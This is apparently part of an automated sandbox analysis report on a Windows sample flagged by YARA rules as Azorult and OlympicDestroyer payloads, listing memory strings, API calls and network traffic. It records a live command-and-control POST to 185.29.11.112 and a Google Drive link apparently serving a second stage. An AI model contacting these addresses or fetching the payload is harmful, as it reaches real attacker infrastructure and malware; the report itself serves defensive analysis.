Source: 1COK25f1vT.exe, 0000000C.00000003.484184430.000000001F9EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487119055.000000001F238000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484675523.000000001F998000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487230327.000000001F364000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487823577.000000001F1F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492897666.000000001F85C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492773065.000000001F838000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485757428.000000001F368000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491908994.000000001F660000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485890632.000000001F290000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491844346.000000001F610000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.483738780.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.489216061.000000001F1EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484708142.000000001F9E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484234075.000000001F998000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487925295.000000001F1CC000.00000004.00000001.sdmp, mozglue.dll.12.dr, softokn3.dll.12.dr, nssdbm3.dll.12.dr, freebl3.dll.12.dr, nss3.dll.12.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: 1COK25f1vT.exe, 0000000C.00000003.484184430.000000001F9EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487119055.000000001F238000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484675523.000000001F998000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487230327.000000001F364000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487823577.000000001F1F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492897666.000000001F85C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492773065.000000001F838000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485757428.000000001F368000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491908994.000000001F660000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485890632.000000001F290000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491844346.000000001F610000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.483738780.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.489216061.000000001F1EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484708142.000000001F9E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484234075.000000001F998000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487925295.000000001F1CC000.00000004.00000001.sdmp, mozglue.dll.12.dr, softokn3.dll.12.dr, nssdbm3.dll.12.dr, freebl3.dll.12.dr, nss3.dll.12.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: mozglue.dll.12.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: 1COK25f1vT.exe, 0000000C.00000003.484184430.000000001F9EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487119055.000000001F238000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484675523.000000001F998000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487230327.000000001F364000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487823577.000000001F1F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492897666.000000001F85C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492773065.000000001F838000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485757428.000000001F368000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491908994.000000001F660000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485890632.000000001F290000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491844346.000000001F610000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.483738780.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.489216061.000000001F1EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484708142.000000001F9E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484234075.000000001F998000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487925295.000000001F1CC000.00000004.00000001.sdmp, mozglue.dll.12.dr, softokn3.dll.12.dr, nssdbm3.dll.12.dr, freebl3.dll.12.dr, nss3.dll.12.dr	String found in binary or memory: http://www.mozilla.com0
Source: 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp	String found in binary or memory: http://www.msn.com/de-ch/
Source: 364961566067931661861453.tmp.12.dr, 364969067119854362121246.tmp.12.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 364961566067931661861453.tmp.12.dr, 364969067119854362121246.tmp.12.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 1COK25f1vT.exe, 1COK25f1vT.exe, 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp	String found in binary or memory: https://dotbit.me/a/
Source: 1COK25f1vT.exe, 0000000C.00000002.511282880.0000000002150000.00000004.00000001.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=17RU0VECH2DoNYHaGWGuE-Ywt9AUTzsM-
Source: 364961566067931661861453.tmp.12.dr, 364969067119854362121246.tmp.12.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 364961566067931661861453.tmp.12.dr, 364969067119854362121246.tmp.12.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 364961566067931661861453.tmp.12.dr, 364969067119854362121246.tmp.12.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 364961566067931661861453.tmp.12.dr, 364969067119854362121246.tmp.12.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: 364961566067931661861453.tmp.12.dr, 364969067119854362121246.tmp.12.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 1COK25f1vT.exe, 0000000C.00000003.484184430.000000001F9EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487119055.000000001F238000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484675523.000000001F998000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487230327.000000001F364000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487823577.000000001F1F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492897666.000000001F85C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492773065.000000001F838000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485757428.000000001F368000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491908994.000000001F660000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485890632.000000001F290000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491844346.000000001F610000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.483738780.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.489216061.000000001F1EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484708142.000000001F9E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484234075.000000001F998000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487925295.000000001F1CC000.00000004.00000001.sdmp, mozglue.dll.12.dr, softokn3.dll.12.dr, nssdbm3.dll.12.dr, freebl3.dll.12.dr, nss3.dll.12.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/chrome/thank-you.html
Source: 364961566067931661861453.tmp.12.dr, 364969067119854362121246.tmp.12.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown

HTTP traffic detected: POST /rothchildnew/Panel/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: 185.29.11.112Content-Length: 107Cache-Control: no-cacheData Raw: 4a 4f ed 3e 32 ed 3e 3c 89 28 39 fe 49 2f fb 38 2f fa 49 4c ed 3e 33 ed 3e 3e ed 3e 3b ed 3e 3e ed 3e 33 ed 3e 3a ed 3e 3d ed 3f 4e 89 28 39 fd 28 39 ff 4e 4e 8d 28 39 ff 28 39 f1 28 38 8c 4b 4f ed 3e 33 ed 3e 3c ed 3e 3d ed 3e 3a ed 3e 3b 8a 28 38 8c 28 39 f1 28 39 fb 28 39 fa 28 39 ff 4f 2f fb 3c 2f fb 38 2f fb 34 4b Data Ascii: JO>2><(9I/8/IL>3>>>;>>>3>:>=?N(9(9NN(9(9(8KO>3><>=>:>;(8(9(9(9(9O/</8/4K

Source: unknown

DNS traffic detected: queries for: drive.google.com

Source: C:\Users\user\Desktop\1COK25f1vT.exe

Code function: 12_2_00417D84 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,HttpOpenRequestA,HttpSendRequestA,GetMessageA,InternetReadFile,

12_2_00417D84

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=17RU0VECH2DoNYHaGWGuE-Ywt9AUTzsM- HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/7bnkiq90sqb2f9a5rfbavvv8a7avoa21/1639944750000/11699732749327025486/*/17RU0VECH2DoNYHaGWGuE-Ywt9AUTzsM-?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-0o-b4-docs.googleusercontent.comConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 172.217.168.46:443 -> 192.168.2.3:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.168.1:443 -> 192.168.2.3:49787 version: TLS 1.2

System Summary:

Potential malicious icon found

Show sources

Source: initial sample

Icon embedded in PE file: bad icon match: 20047c7c70f0e004

Malicious sample detected (through community Yara rule)

Show sources

Source: 12.2.1COK25f1vT.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Azorult Payload Author: kevoreilly
Source: 12.2.1COK25f1vT.exe.2004391e.5.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 12.2.1COK25f1vT.exe.1ffd81cd.7.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 12.2.1COK25f1vT.exe.1ffb61e0.6.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly

Source: 1COK25f1vT.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: 12.2.1COK25f1vT.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: 12.2.1COK25f1vT.exe.2004391e.5.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 12.2.1COK25f1vT.exe.1ffd81cd.7.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 12.2.1COK25f1vT.exe.1ffb61e0.6.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload

Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_004016DC	0_2_004016DC
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A9128E	0_2_02A9128E
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A963E9	0_2_02A963E9
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99D25	0_2_02A99D25
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A91D79	0_2_02A91D79
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A956AA	0_2_02A956AA
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99EA7	0_2_02A99EA7
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A94EB1	0_2_02A94EB1
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A946B2	0_2_02A946B2
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A98EB2	0_2_02A98EB2
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A966B6	0_2_02A966B6
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A95A8B	0_2_02A95A8B
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A94E9A	0_2_02A94E9A
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A98E9D	0_2_02A98E9D
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99E91	0_2_02A99E91
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99EFE	0_2_02A99EFE
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99EC5	0_2_02A99EC5
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A95AC7	0_2_02A95AC7
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A94ED9	0_2_02A94ED9
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A996D9	0_2_02A996D9
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A98EDD	0_2_02A98EDD
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A98ED1	0_2_02A98ED1
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A94631	0_2_02A94631
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A94637	0_2_02A94637
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A92209	0_2_02A92209
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99E09	0_2_02A99E09
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A9926A	0_2_02A9926A
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99E66	0_2_02A99E66
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A9564D	0_2_02A9564D
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A95BA9	0_2_02A95BA9
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A957B5	0_2_02A957B5
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A9678E	0_2_02A9678E
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A98F80	0_2_02A98F80
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99F9C	0_2_02A99F9C
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A963ED	0_2_02A963ED
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A94FEF	0_2_02A94FEF
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A90BEE	0_2_02A90BEE
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A94FE6	0_2_02A94FE6
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A98FF9	0_2_02A98FF9
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A983CA	0_2_02A983CA
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A98FC2	0_2_02A98FC2
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A953DD	0_2_02A953DD
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A98F2A	0_2_02A98F2A
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A95B32	0_2_02A95B32
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A96737	0_2_02A96737
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99718	0_2_02A99718
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A9671B	0_2_02A9671B
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A9571A	0_2_02A9571A
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99F1F	0_2_02A99F1F
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A94711	0_2_02A94711
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99F6F	0_2_02A99F6F
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A96766	0_2_02A96766
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A95B71	0_2_02A95B71
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A95775	0_2_02A95775
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A95748	0_2_02A95748
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99F46	0_2_02A99F46
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A95CAB	0_2_02A95CAB
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A948A3	0_2_02A948A3
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A96CB9	0_2_02A96CB9
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A958BB	0_2_02A958BB
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A954BE	0_2_02A954BE
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A990B3	0_2_02A990B3
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A9688D	0_2_02A9688D
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99091	0_2_02A99091
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A96497	0_2_02A96497
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A95CEA	0_2_02A95CEA
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A990EE	0_2_02A990EE
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A964E6	0_2_02A964E6
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A980C0	0_2_02A980C0
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A938DA	0_2_02A938DA
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A95C21	0_2_02A95C21
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A95425	0_2_02A95425
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A9683D	0_2_02A9683D
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99035	0_2_02A99035
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A96434	0_2_02A96434
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A95403	0_2_02A95403
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A95805	0_2_02A95805
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A95C06	0_2_02A95C06
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A96C19	0_2_02A96C19
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A95C65	0_2_02A95C65
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A95864	0_2_02A95864
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A94866	0_2_02A94866
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A9904D	0_2_02A9904D
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A9644E	0_2_02A9644E
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A96C5A	0_2_02A96C5A
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A991B6	0_2_02A991B6
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A95599	0_2_02A95599
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A945E5	0_2_02A945E5
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A955FD	0_2_02A955FD
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A965F3	0_2_02A965F3
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A991F7	0_2_02A991F7
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A991C9	0_2_02A991C9
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A965CB	0_2_02A965CB
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99DC3	0_2_02A99DC3
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A945C4	0_2_02A945C4
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A959C4	0_2_02A959C4
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A969D9	0_2_02A969D9
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99DDB	0_2_02A99DDB
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A95D3D	0_2_02A95D3D
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A9913E	0_2_02A9913E
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A95931	0_2_02A95931
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99D32	0_2_02A99D32
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A96534	0_2_02A96534
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A95503	0_2_02A95503
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A9596F	0_2_02A9596F
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99D61	0_2_02A99D61
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A96975	0_2_02A96975
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99D75	0_2_02A99D75
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99D4D	0_2_02A99D4D
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A9694C	0_2_02A9694C
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A95555	0_2_02A95555

Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: String function: 00403BF4 appears 46 times
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: String function: 004062FC appears 42 times
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: String function: 00404E98 appears 86 times
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: String function: 0040300C appears 32 times
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: String function: 00403E78 appears 31 times
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: String function: 00404EC0 appears 33 times
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: String function: 004034E4 appears 33 times

Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A963E9 NtAllocateVirtualMemory,LoadLibraryA,	0_2_02A963E9
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A99933 NtProtectVirtualMemory,	0_2_02A99933
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A963ED NtAllocateVirtualMemory,	0_2_02A963ED
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A998A5 NtProtectVirtualMemory,	0_2_02A998A5
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A96497 NtAllocateVirtualMemory,	0_2_02A96497
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A964E6 NtAllocateVirtualMemory,	0_2_02A964E6
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A998FD NtProtectVirtualMemory,	0_2_02A998FD
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A998DD NtProtectVirtualMemory,	0_2_02A998DD
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A96434 NtAllocateVirtualMemory,	0_2_02A96434
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A9644E NtAllocateVirtualMemory,	0_2_02A9644E
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A96534 NtAllocateVirtualMemory,	0_2_02A96534

Source: C:\Users\user\Desktop\1COK25f1vT.exe

Process Stats: CPU usage > 98%

Source: api-ms-win-core-file-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-memory-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-multibyte-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-stdio-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-debug-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-handle-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-2-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-sysinfo-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-filesystem-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-heap-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-rtlsupport-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-errorhandling-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-1.dll.12.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-heap-l1-1-0.dll.12.dr	Static PE information: No import functions for PE file found
